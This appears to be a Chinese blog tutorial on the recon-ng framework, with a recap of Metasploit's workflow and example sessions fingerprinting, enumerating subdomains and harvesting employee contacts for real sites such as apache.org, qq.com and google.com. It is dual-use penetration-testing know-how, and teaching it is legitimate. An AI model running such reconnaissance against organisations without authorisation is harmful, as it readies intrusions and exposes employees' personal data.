2.安装recon-ng

git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

3.运行

cd recon-ng/

./recon-ng.py

二、使用

与MSF的使用方法非常类似,插播一下msf使用基础流程,唤起回忆

第一步:search name模块

第二步:use name模块
第三步:info 查看模块信息
第四步:show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要)
第五步:set payload 载荷
第六步:show targets查看该攻击载荷使用的系统类型(为scanner的时候不需要)
第七步:set targets num 设置目标的系统类型
第八步:show options 查看需要设置的参数 
show advanced 列出所有高级配置选项


mso-hansi-font-family:"Times New Roman";mso-fareast-language:ZH-CN;"  >第九步:set name
mso-hansi-font-family:"Times New Roman";mso-fareast-language:ZH-CN;"  >设置参数


mso-hansi-font-family:"Times New Roman";mso-fareast-language:ZH-CN;"  >第十步:exploit
mso-hansi-font-family:"Times New Roman";mso-fareast-language:ZH-CN;"  >(为scanner
"Times New Roman";mso-fareast-language:ZH-CN;"  >时用run
"Times New Roman";mso-fareast-language:ZH-CN;"  >)

第十一步:session –l –v列出所有可用的交互会话以及详细信息

1. 模块介绍

在使用该工具前,有必要提及一下信息收集的常规步骤,以便如何使用这款工具。信息收集分为三步:侦察Reconnaissance发现Discovery汇报reporting。这也对应了该工具的三个模块

recon-ng > show modules

(1). 侦察Reconnaissance

是一种被动的信息收集方式(passive reconnaissance),例如通过搜索引擎google hacker技巧收集目标的敏感信息

 

(2).发现Discovery

是一种主动的信息收集方式(active reconnaissance),例如通过发送http请求包探测web服务指纹


(3).汇报Reporting

Recon-ng提供两种格式的报表,html与csv

  2. 模块使用范例

(1) web应用指纹识别

第一步:搜索指定模块

recon-ng > search whatweb
[*] Searching for 'whatweb'

  Recon:
  -------------------------------
    recon/hosts/enum/http/whatweb

第二步:使用该模块

recon-ng > use recon/hosts/enum/http/whatweb

第三步:查看模块信息

recon-ng [whatweb] > info

  Name:
    WhatWeb Web Technologies scan

  Author:
    thrapt (thrapt@gmail.com) and Tim Tomes (@LaNMaSteR53)

  Description:
    Leverages WhatWeb.net to recognise web technologies being used.

  Options:

    Name     Current Value  Req  Description
    -------  -------------  ---  -----------
    SOURCE   db             yes  source of module input
    VERBOSE  True           yes  verbose output

  Comments:
    Source options: [ db | <hostname> | ./path/to/file | query <sql> ]


第四步:设置选参数

recon-ng [whatweb] > set SOURCE resources.infosecinstitute.com
SOURCE => resources.infosecinstitute.com

第五步:运行

recon-ng [whatweb] > run

注意:如果出现 [!] <urlopen error timed out> 的错误提示,可以修改全局参数SOCKET_TIMEOUT

recon-ng [whatweb] > back
recon-ng > show options

  Name            Current Value                                                     Req  Description
  --------------  -------------                                                     ---  -----------
  COMPANY                                                                           no   target company name
  DB_FILE         ./data/data.db                                                    yes  path to main database file
  DOMAIN                                                                            no   target domain
  KEY_FILE        ./data/keys.db                                                    yes  path to API key database file
  PROXY           False                                                             yes  proxy all requests
  PROXY_SERVER    127.0.0.1:8080                                                    yes  proxy server
  REC_FILE        ./data/cmd.rc                                                     yes  path to resource file for 'record'
  SOCKET_TIMEOUT  10                                                                yes  socket timeout in seconds
  USER-AGENT      Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)  yes  user-agent string
  VERBOSE         True                                                              yes  verbose output

recon-ng > set SOCKET_TIMEOUT 20
SOCKET_TIMEOUT => 20
recon-ng > use recon/hosts/enum/http/whatweb
recon-ng [whatweb] > set SOURCE resources.infosecinstitute.com
SOURCE => resources.infosecinstitute.com

recon-ng [whatweb] > run

探测结果如下图所示

  (2)公司职员信息收集

recon-ng > use recon/contacts/gather/http/jigsaw
recon-ng [jigsaw] > info

  Name:
    Jigsaw Contact Enumerator

  Author:
    Tim Tomes (@LaNMaSteR53)

  Description:
    Harvests contacts from Jigsaw.com. This module updates the 'contacts' table of the database with the
    results.

  Options:

    Name      Current Value  Req  Description
    --------  -------------  ---  -----------
    COMPANY                  yes  target company name
    KEYWORDS                 no   additional keywords to identify company
    VERBOSE   True           yes  verbose output

recon-ng [jigsaw] > set COMPANY google.com

recon-ng [jigsaw] > run

该模块是通过在搜索https://www.jigsaw.com/ 网站,收集公司组织架构信息,需要花费一段时间运行,你可以使用ctrl+c终止查询,搜索结果我们可以采用下面的方法导出来

recon-ng > use reporting/html_report
recon-ng [html_report] > info

  Name:
    HTML Report Generator

  Author:
    Tim Tomes (@LaNMaSteR53)

  Description:
    Creates a HTML report.

  Options:

    Name      Current Value        Req  Description
    --------  -------------        ---  -----------
    FILENAME  ./data/results.html  yes  path and filename for report output
    SANITIZE  True                 yes  mask sensitive data in the report

recon-ng [html_report] > set FILENAME /root/Desktop/result.html
FILENAME => /root/Desktop/result.html
recon-ng [html_report] > run
[*] Report generated at '/root/Desktop/result.html'.

我们打开result.html,可以看到收集到的以下信息

 遗憾的是该模块使用的是https://www.jigsaw.com/网站中的信息,而国内网站基本没有收入进来,所以不适合做国内网站渗透信息收集。其实绝大多数好用的开源的被动的信息收集工具(passive reconnaissance)使用的信息源都不适合国内网站渗透信息收集,但可以参考这个思路,做一个国内版的。


(3)查看apache server-status页面是否可以访问

server-status页面会显示apache服务器的重要信息,如下图所示

 

recon-ng > use discovery/info_disclosure/http/server_status
recon-ng [server_status] > info

  Name:
    Apache Server-Status Page Scanner

  Author:
    Tim Tomes (@LaNMaSteR53)

  Description:
    Checks hosts for a 'server-status' page.

  Options:

    Name     Current Value  Req  Description
    -------  -------------  ---  -----------
    SOURCE   db             yes  source of module input
    VERBOSE  True           yes  verbose output

  Comments:
    Source options: [ db | <hostname> | ./path/to/file | query <sql> ]
    https://blog.sucuri.net/2012/10/popular-sites-with-apache-server-status-enabled.html
    https://httpd.apache.org/docs/2.2/mod/mod_status.html
    Google dork: intitle:"Apache Status" inurl:"server-status"

recon-ng [server_status] > set SOURCE apache.org
SOURCE => apache.org
recon-ng [server_status] > run

recon-ng [server_status] > run
[*] https://apache.org/server-status/ => 200. Possible Apache Status page found!
[*] https://apache.org/server-status/ => 200. Possible Apache Status page found!
[*] 2 Server Status pages found.


(4) 域名信息收集

recon-ng > use recon/hosts/gather/http/yahoo

recon-ng [yahoo] > set DOMAIN qq.com
DOMAIN => qq.com
recon-ng [yahoo] > run

需要花费一段时间运行,可以使用ctrl+c终止查询,搜索结果同样可以采用html或csv的格式导出来,方法见  (2)公司职员信息收集

recon-ng [yahoo] > back
recon-ng > use reporting/html_report
recon-ng [html_report] > set FILENAME /Users/dani/Desktop/result_yahoo.html
FILENAME => /Users/dani/Desktop/result_yahoo.html

类似的域名搜索模块还有

recon/hosts/gather/http/netcraft

recon/hosts/gather/http/baidu

recon/hosts/gather/http/bing

recon/hosts/gather/http/google


(5)服务器指纹

recon-ng > use recon/hosts/enum/http/server_enum
recon-ng [server_enum] > set host apache.org
HOST => apache.org
recon-ng [server_enum] > run
----------------------START-----------------------
[*] ORIG_URL: https://apache.org
[*] DEST_URL: https://apache.org
---------------------HEADERS----------------------
[*] CONTENT-LENGTH: 36028
[*] ACCEPT-RANGES: bytes
[*] EXPIRES: Tue, 19 Feb 2013 16:49:39 GMT
[*] VARY: Accept-Encoding
[*] SERVER: Apache/2.4.3 (Unix) OpenSSL/1.0.0g
[*] LAST-MODIFIED: Tue, 19 Feb 2013 15:10:23 GMT
[*] CONNECTION: close
[*] ETAG: "8cbc-4d6153d9bb79e"
[*] CACHE-CONTROL: max-age=3600
[*] DATE: Tue, 19 Feb 2013 15:49:39 GMT
[*] CONTENT-TYPE: text/html; charset=utf-8
---------------------COOKIES----------------------
--------------------META TAGS---------------------
-----------------------END------------------------

  +------------------------------------------------------+
  | SERVER | Apache/2.4.3 (Unix) OpenSSL/1.0.0g | Apache |
  | ERROR  | 404 (/jxahqyevew.nsa)              | Apache |
  +------------------------------------------------------+

(6) 查找robots.txt

详细的robots.txt会暴露敏感路径

recon-ng > use discovery/info_disclosure/http/robots

recon-ng [robots] > set SOURCE bus.61.com
SOURCE => bus.61.com
recon-ng [robots] > run
[*] https://bus.61.com/robots.txt => 200. robots.txt found!
[*] https://bus.61.com/sitemap.xml => 404
[*] https://bus.61.com/sitemap.xml.gz => 403
[*] https://bus.61.com/robots.txt => Error
[*] https://bus.61.com/sitemap.xml => Error
[*] https://bus.61.com/sitemap.xml.gz => Error
[*] 1 files found.


参考资料:

https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home

https://resources.infosecinstitute.com/awesome-modules-of-recon-ng-used-for-web-recon-testing/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+infosecResources+(InfoSec+Resources)

https://resources.infosecinstitute.com/awesome-modules-of-recon-ng-used-for-web-recon-testing/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+infosecResources+(InfoSec+Resources)

来源:碳基体